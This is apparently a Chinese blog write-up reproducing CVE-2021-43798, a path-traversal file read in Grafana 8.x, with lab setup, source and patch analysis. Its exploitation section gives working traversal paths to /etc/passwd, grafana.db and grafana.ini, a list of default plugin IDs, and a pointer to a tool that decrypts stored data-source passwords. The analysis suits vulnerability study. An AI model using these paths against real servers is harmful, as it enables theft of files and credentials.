Grafana 任意文件读取漏洞复现分析

Grafana 任意文件读取漏洞复现分析

CVE-2021-43798

0x01 前言

概述

Grafana是一个跨平台、开源的数据可视化网络应用程序平台。用户配置连接的数据源之后,Grafana可以在网络浏览器里显示数据图表和警告。

影响范围

Grafana 8.0.0-beta1 - 8.3.0

安全版本

Grafana >= 8.3.1  
Grafana >= 8.2.7  
Grafana >= 8.1.8  
Grafana >= 8.0.7

0x02 环境搭建

docker直接拉取官方镜像https://hub.docker.com/r/grafana/grafana/tags

sudo docker pull grafana/grafana:8.3.0-ubuntu

开启容器

sudo docker run -d --name=grafana -p 3000:3000 grafana/grafana:8.3.0-ubuntu

访问虚拟机

http://192.168.159.132:3000/

Grafana 任意文件读取漏洞复现分析

0x03漏洞分析

github上8.3.1修复了这个漏洞,那么直接查看两者比较即可

可以看到是更改了 pkg/api/plugins.go 文件

Grafana 任意文件读取漏洞复现分析

下载8.3.0源码,定位到284行也就是getPluginAssets函数

func (hs *HTTPServer) getPluginAssets(c *models.ReqContext) {
	pluginID := web.Params(c.Req)[":pluginId"]
	plugin, exists := hs.pluginStore.Plugin(c.Req.Context(), pluginID)
	if !exists {
		c.JsonApiErr(404, "Plugin not found", nil)
		return
	}

	requestedFile := filepath.Clean(web.Params(c.Req)["*"])
	pluginFilePath := filepath.Join(plugin.PluginDir, requestedFile)

	if !plugin.IncludedInSignature(requestedFile) {
		hs.log.Warn("Access to requested plugin file will be forbidden in upcoming Grafana versions as the file "+
			"is not included in the plugin signature", "file", requestedFile)
	}

	// It's safe to ignore gosec warning G304 since we already clean the requested file path and subsequently
	// use this with a prefix of the plugin's directory, which is set during plugin loading
	// nolint:gosec
	f, err := os.Open(pluginFilePath)
	if err != nil {
		if os.IsNotExist(err) {
			c.JsonApiErr(404, "Plugin file not found", err)
			return
		}
		c.JsonApiErr(500, "Could not open plugin file", err)
		return
	}
	defer func() {
		if err := f.Close(); err != nil {
			hs.log.Error("Failed to close file", "err", err)
		}
	}()

	fi, err := f.Stat()
	if err != nil {
		c.JsonApiErr(500, "Plugin file exists but could not open", err)
		return
	}

	if hs.Cfg.Env == setting.Dev {
		c.Resp.Header().Set("Cache-Control", "max-age=0, must-revalidate, no-cache")
	} else {
		c.Resp.Header().Set("Cache-Control", "public, max-age=3600")
	}

	http.ServeContent(c.Resp, c.Req, pluginFilePath, fi.ModTime(), f)
}

刚开始拿到请求中的插件信息进行判断,插件是否存在,不存在就报错

Plugin not found

存在的话就接下去执行到关键点

requestedFile := filepath.Clean(web.Params(c.Req)["*"])

使用 filepath.Clean对请求进行清理,而Clean作用是这样的

此函数迭代地应用以下规则,直到无法进行进一步处理为止:

  • 它用一个替换多个Separator元素。
  • 如果指定的路径为空字符串,则返回字符串“.”。
  • 它消除了每个。路径名元素(当前目录)。
  • 它消除了每个内部…路径名元素(父目录)以及在其前面的non …元素。
  • 它消除了…元素开始于根路径:即,在分隔符为“ /”的情况下,在路径的开头用“/”替换“/…”。

**返回值:**通过纯词法处理,它返回与指定路径等效的最短路径名。

范例1:

package main 
  
import ( 
    "fmt"
    "path/filepath"
) 
  
// Calling main 
func main() { 
  
    // Calling the Clean() function 
    fmt.Println(filepath.Clean("/GFG/./../Geeks")) 
    fmt.Println(filepath.Clean("GFG/../Geeks")) 
    fmt.Println(filepath.Clean("..GFG/./../Geeks")) 
    fmt.Println(filepath.Clean("gfg/../../../Geek/GFG")) 
}

输出:

/Geeks
Geeks
Geeks
../../Geek/GFG

可以看出他对…/是没有进行过滤处理的,也就导致了任意目录穿越

当我们传入类似于../../../etc/pass的路径时,就会被拼接到pluginFilePath参数中

然后在下面通过Open去成功读取文件内容

Grafana 任意文件读取漏洞复现分析

路径溯源

Grafana 任意文件读取漏洞复现分析

r.Get("/public/plugins/:pluginId/*", hs.getPluginAssets)

直接在api.go中使用了r.Get()并没有做身份认证(贴心的备注了身份认证的注释,不在当中)。

所以只要知道一个存在的pluginId,然后调用/public/plugins/:pluginId/*就可以访问任意文件,比如/public/plugins/:pluginId/../../../../../etc/passwd

0x04补丁分析

在8.3.0和8.3.1对比中可以看到新加了一段代码

requestedFile := filepath.Clean(filepath.Join("/", web.Params(c.Req)["*"]))
	rel, err := filepath.Rel("/", requestedFile)
	if err != nil {
		// this should not never fail
		c.JsonApiErr(500, "Relative path found", err)
		return
	}

主要在 filepath.Rel函数

用法:

func Rel(basepath, targpath string) (string, error)

当使用中间分隔符将其连接到basepath时,Rel返回一个相对路径,该相对路径在词法上等效于targpath。

也就是说,Join(basepath,Rel(basepath,targpath))等同于targpath本身。

成功后,即使basepath和targpath不共享任何元素,返回的路径也始终相对于basepath。

如果无法相对于基本路径创建targpath,或者如果需要知道当前工作目录以进行计算,则会返回错误。 Rel在结果上调用Clean。

示例

package main

import (
    "fmt"
    "path/filepath"
)

func main() {
    paths := []string{
        "./a/b/c",
        "/b/c",
        "/../b/c",
    }
    base := "/"
    fmt.Println("On Unix:")
    for _, p := range paths {
        rel, err := filepath.Rel(base, p)
        fmt.Printf("%q: %q %v\n", p, rel, err)
    }
}

输出

On Unix:
"./a/b/c": "" Rel: can't make ./a/b/c relative to /
"/b/c": "b/c" <nil>
"/../b/c": "b/c" <nil>

这样我们就无法实现路径穿越了

0x05漏洞利用

要利用此漏洞,就要先找到安装的插件,常用的插件列表,经过测试全部是默认开启的(可能docker环境不同)

alertmanager
grafana
loki
postgres
grafana-azure-monitor-datasource
mixed
prometheus
cloudwatch
graphite
mssql
tempo
dashboard
influxdb
mysql
testdata
elasticsearch
jaeger
opentsdb
zipkin
alertGroups
bargauge
debug
graph
live
piechart
status-history
timeseries
alertlist
candlestick
gauge
heatmap
logs
pluginlist
table
welcome
annolist
canvas
geomap
histogram
news
stat
table-old
xychart
barchart
dashlist
gettingstarted
icon
nodeGraph
state-timeline
text

读取linux固定文件

/public/plugins/alertmanager/../../../../../../../../etc/passwd

Grafana 任意文件读取漏洞复现分析

读取grafana数据库文件

/public/plugins/alertmanager/../../../../../../../../var/lib/grafana/grafana.db

Grafana 任意文件读取漏洞复现分析

但是password是带salt的,所以不好破解

Grafana 任意文件读取漏洞复现分析

但是能获取到一些敏感信息,如user_auth_token表中的访问ip

Grafana 任意文件读取漏洞复现分析

data_source表中的数据库信息

Grafana 任意文件读取漏洞复现分析

其中密码也是加密存储的

{"password":"M3NybDZNRG3C74ufA1oFVaLzieBN7pJAPJpuC0P2"}

而加密方法是cfb模式下的AES256,秘钥存储在配置文件中

读取配置文件

/public/plugins/alertmanager/../../../../../../../../etc/grafana/grafana.ini

搜索secret_key

Grafana 任意文件读取漏洞复现分析

SW2YcwTIb9zpOOhoPsMm

这里就不去手动解密了

直接使用师傅已经写好的工具,原理也是自动探测是否有漏洞、存在的plugin、提取密钥、解密server端db文件,并输出data_sourrce信息。

https://github.com/A-D-Team/grafanaExp

Grafana 任意文件读取漏洞复现分析

可以得到自己刚刚创建的数据源的所有信息

上一篇:在人类小鼠细胞系中的细胞特异性选择性剪切分析之统计方法篇


下一篇:【7】.net WebAPI Owin OAuth 2.0 密码模式验证实例